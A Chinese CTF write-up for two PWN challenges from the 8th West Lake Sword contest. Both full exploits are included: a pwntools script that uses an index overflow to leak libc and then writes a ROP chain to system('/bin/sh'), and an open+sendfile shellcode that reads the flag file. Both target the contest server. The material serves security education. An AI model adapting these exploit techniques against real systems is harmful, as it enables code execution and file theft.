第八届西湖论剑PWN WP

Vpwn

漏洞分析

image.png

这边是idx,后续的数据打印和编辑就是参考这里

image.png

多次push可以 覆盖这里的idx

image.png

那么意味着打印的时候可以溢出,泄露栈上的数据,可以泄露libc、code_base 等等

然后就是调下exit退出时候的栈的位置,写rop,ret抬下栈

注意的是,写数据的时候需要转化为有符号数,转换代码如下

1
2
3
4
5
6
7
unsigned_value =  binsh & 0xFFFFFFFF
max_signed_32bit = 0x7FFFFFFF
if unsigned_value > max_signed_32bit:
signed_value = unsigned_value - 0x100000000 # 补码转换
else:
signed_value = unsigned_value
print(signed_value)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
warnings.filterwarnings("ignore", category=BytesWarning)
context.log_level = "debug"
context(arch='amd64', os='linux')
context.terminal = ['tmux','splitw','-h']

file = b'' + b'./Vpwn'
elf = ELF(file)
libc = ELF('/lib64/ld-linux-x86-64.so.2')
#-------------------------------------------------------------------
s = lambda x: p.send(x)
sa = lambda x,y: p.sendafter(x,y)
sl = lambda x: p.sendline(x)
sla = lambda x,y: p.sendlineafter(x,y)

ru = lambda x : p.recvuntil(x)
rl = lambda : p.recvline()
lg = lambda x,y: log.success(x + str(hex(y)))
itr = lambda : p.interactive()
end = lambda : p.close()
a = lambda : gdb.attach(p)
#-------------------------------------------------------------------

#-----------------------------DEBUG---------------------------------
global script
script = '''
# b *$rebase(0x159A)
# b *$rebase(0x1570)
# b *$rebase(0x18EB)
b *$rebase(0x15DC)
'''
#-----------------------------DEBUG---------------------------------

def start(local = True):
global p
if local:
p = process(file)
else:
p = remote("139.155.126.78",23020)
return p

def debug(DEBUG=True):
if DEBUG is True:
gdb.attach(p,gdbscript=script)
else:
gdb.attach(p)


def cmd(idx):
sla(b'Enter your choice: ',str(idx).encode())

def push(val):
cmd(2)
time.sleep(0.05)
sla(b'Enter the value to push: ',str(val).encode())

def pop():
cmd(3)

def show():
cmd(4)

def edit(idx,val):
time.sleep(0.05)
cmd(1)
sla(b'Enter the index to edit (0-based): ',str(idx).encode())
time.sleep(0.05)
sla(b'Enter the new value: ',str(val))

start(False)

# debug()

for i in range(7):
push(100)

show()

ru(b'StackVector contents:')
data = ru(b'\n')
# print(data)

data_list = data.decode('utf-8').split()

data_int = [int(i) for i in data_list]

# print((data_int[18]))
# print(hex(data_int[19]))

code_base = (data_int[23] << 32) + (data_int[22] & 0xFFFFFFFF) - 0x1329
libc_base = (data_int[19] << 32) + (data_int[18] & 0xFFFFFFFF) - 0x29d90
# print(hex(code_base))
# print(hex(libc_base))

# print(0x41414141)

pop_rdi = libc_base + 0x000000000002a3e5
system = libc_base + 0x50d70
binsh = libc_base + 0x1d8678
ret = libc_base + 0x0000000000029139



unsigned_value = ret & 0xFFFFFFFF
max_signed_32bit = 0x7FFFFFFF
if unsigned_value > max_signed_32bit:
signed_value = unsigned_value - 0x100000000 # 补码转换
else:
signed_value = unsigned_value

print(signed_value)
edit(18,signed_value)
edit(19,(ret & 0xFFFFFFFF00000000)>> 32)


unsigned_value = pop_rdi & 0xFFFFFFFF
max_signed_32bit = 0x7FFFFFFF
if unsigned_value > max_signed_32bit:
signed_value = unsigned_value - 0x100000000 # 补码转换
else:
signed_value = unsigned_value
print(signed_value)
edit(20,signed_value)
edit(21,(pop_rdi & 0xFFFFFFFF00000000)>> 32)

unsigned_value = binsh & 0xFFFFFFFF
max_signed_32bit = 0x7FFFFFFF
if unsigned_value > max_signed_32bit:
signed_value = unsigned_value - 0x100000000 # 补码转换
else:
signed_value = unsigned_value
print(signed_value)
edit(22,signed_value)
edit(23,(binsh & 0xFFFFFFFF00000000)>> 32)

unsigned_value = system & 0xFFFFFFFF
max_signed_32bit = 0x7FFFFFFF
if unsigned_value > max_signed_32bit:
signed_value = unsigned_value - 0x100000000 # 补码转换
else:
signed_value = unsigned_value
print(signed_value)
edit(24,signed_value)
edit(25,(system & 0xFFFFFFFF00000000)>> 32)


time.sleep(0.05)
cmd(5)

# a()
itr()


'''
unsigned_value = ret & 0xFFFFFFFF
max_signed_32bit = 0x7FFFFFFF
if unsigned_value > max_signed_32bit:
signed_value = unsigned_value - 0x100000000 # 补码转换
else:
signed_value = unsigned_value

print(signed_value)
edit(18,signed_value)
edit(19,(ret & 0xFFFFFFFF00000000)>> 32)


unsigned_value = pop_rdi & 0xFFFFFFFF
max_signed_32bit = 0x7FFFFFFF
if unsigned_value > max_signed_32bit:
signed_value = unsigned_value - 0x100000000 # 补码转换
else:
signed_value = unsigned_value
print(signed_value)
edit(20,signed_value)

unsigned_value = binsh & 0xFFFFFFFF
max_signed_32bit = 0x7FFFFFFF
if unsigned_value > max_signed_32bit:
signed_value = unsigned_value - 0x100000000 # 补码转换
else:
signed_value = unsigned_value
print(signed_value)
edit(22,signed_value)
edit(23,(binsh & 0xFFFFFFFF00000000)>> 32)

unsigned_value = system & 0xFFFFFFFF
max_signed_32bit = 0x7FFFFFFF
if unsigned_value > max_signed_32bit:
signed_value = unsigned_value - 0x100000000 # 补码转换
else:
signed_value = unsigned_value
print(signed_value)
edit(24,signed_value)
edit(25,(system & 0xFFFFFFFF00000000)>> 32)


'''

image.png

Heaven’s door

漏洞分析

直接执行shellcode

image.png

限制了只能两次syscall

image.png

虽然只允许这些系统调用,但似乎可以直接非预期

image.png

直接open+sendfile

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
warnings.filterwarnings("ignore", category=BytesWarning)
context.log_level = "debug"
context(arch='amd64', os='linux')
context.terminal = ['tmux','splitw','-h']

file = b'' + b'./pwn'
elf = ELF(file)
libc = ELF('/lib64/ld-linux-x86-64.so.2')
#-------------------------------------------------------------------
s = lambda x: p.send(x)
sa = lambda x,y: p.sendafter(x,y)
sl = lambda x: p.sendline(x)
sla = lambda x,y: p.sendlineafter(x,y)

ru = lambda x : p.recvuntil(x)
rl = lambda : p.recvline()
lg = lambda x,y: log.success(x + str(hex(y)))
itr = lambda : p.interactive()
end = lambda : p.close()
a = lambda : gdb.attach(p)
#-------------------------------------------------------------------

#-----------------------------DEBUG---------------------------------
global script
script = '''
b *0x401709
'''
#-----------------------------DEBUG---------------------------------

def start(local = True):
global p
if local:
p = process(file)
else:
p = remote("139.155.126.78",24457)
return p

def debug(DEBUG=True):
if DEBUG is True:
gdb.attach(p,gdbscript=script)
else:
gdb.attach(p)


start(False)

# debug()

shellcode = '''
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
xor edx, edx
xor esi, esi
push SYS_open
pop rax
syscall

mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
'''
pl = asm(shellcode)

time.sleep(0.05)
s(pl)
print(pl)


# a()
itr()

image.png


第八届西湖论剑PWN WP
http://example.com/2025/01/18/第八届西湖论剑PWN WP/
作者
flyyy
发布于
2025年1月18日
许可协议